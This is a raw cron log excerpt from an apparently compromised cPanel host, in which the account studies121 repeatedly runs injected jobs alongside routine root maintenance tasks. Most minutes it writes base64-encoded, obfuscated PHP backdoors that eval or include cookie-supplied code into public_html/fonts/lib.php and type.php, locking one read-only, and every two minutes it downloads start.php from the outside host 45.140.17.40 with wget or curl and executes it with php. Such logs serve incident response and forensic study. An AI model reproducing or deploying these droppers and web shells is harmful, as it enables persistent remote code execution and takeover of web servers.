Aug 31 09:14:01 ip-184-168-122-23 CROND[2682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:14:01 ip-184-168-122-23 CROND[2681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:14:01 ip-184-168-122-23 CROND[2683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:15:01 ip-184-168-122-23 CROND[2841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:15:01 ip-184-168-122-23 CROND[2843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:15:01 ip-184-168-122-23 CROND[2845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:15:01 ip-184-168-122-23 CROND[2844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:15:01 ip-184-168-122-23 CROND[2848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:15:01 ip-184-168-122-23 CROND[2846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:16:01 ip-184-168-122-23 CROND[2973]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:16:01 ip-184-168-122-23 CROND[2975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:16:01 ip-184-168-122-23 CROND[2976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:16:01 ip-184-168-122-23 CROND[2977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:16:01 ip-184-168-122-23 CROND[2979]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 09:16:01 ip-184-168-122-23 CROND[2978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:17:01 ip-184-168-122-23 CROND[3073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:17:01 ip-184-168-122-23 CROND[3074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:17:01 ip-184-168-122-23 CROND[3075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:17:01 ip-184-168-122-23 CROND[3077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:18:01 ip-184-168-122-23 CROND[3189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:18:01 ip-184-168-122-23 CROND[3191]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:18:01 ip-184-168-122-23 CROND[3192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:18:01 ip-184-168-122-23 CROND[3193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:18:01 ip-184-168-122-23 CROND[3194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:19:01 ip-184-168-122-23 CROND[3375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:19:01 ip-184-168-122-23 CROND[3378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:19:01 ip-184-168-122-23 CROND[3379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:19:01 ip-184-168-122-23 CROND[3377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:20:01 ip-184-168-122-23 CROND[3508]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 09:20:01 ip-184-168-122-23 CROND[3511]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:20:01 ip-184-168-122-23 CROND[3512]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:20:01 ip-184-168-122-23 CROND[3513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:20:01 ip-184-168-122-23 CROND[3514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:20:01 ip-184-168-122-23 CROND[3517]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 09:20:01 ip-184-168-122-23 CROND[3518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:20:01 ip-184-168-122-23 CROND[3516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:20:01 ip-184-168-122-23 CROND[3519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:21:01 ip-184-168-122-23 CROND[3616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:21:01 ip-184-168-122-23 CROND[3618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:21:01 ip-184-168-122-23 CROND[3619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:21:01 ip-184-168-122-23 CROND[3621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:22:01 ip-184-168-122-23 CROND[3709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:22:01 ip-184-168-122-23 CROND[3711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:22:01 ip-184-168-122-23 CROND[3713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:22:01 ip-184-168-122-23 CROND[3715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:22:01 ip-184-168-122-23 CROND[3717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:23:01 ip-184-168-122-23 CROND[3816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:23:01 ip-184-168-122-23 CROND[3819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:23:01 ip-184-168-122-23 CROND[3821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:23:01 ip-184-168-122-23 CROND[3822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:24:01 ip-184-168-122-23 CROND[3994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:24:01 ip-184-168-122-23 CROND[3996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:24:01 ip-184-168-122-23 CROND[3998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:24:01 ip-184-168-122-23 CROND[3999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:24:01 ip-184-168-122-23 CROND[3997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:25:01 ip-184-168-122-23 CROND[4125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:25:01 ip-184-168-122-23 CROND[4130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:25:01 ip-184-168-122-23 CROND[4128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:25:01 ip-184-168-122-23 CROND[4127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:25:01 ip-184-168-122-23 CROND[4129]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:25:01 ip-184-168-122-23 CROND[4131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:26:01 ip-184-168-122-23 CROND[4249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
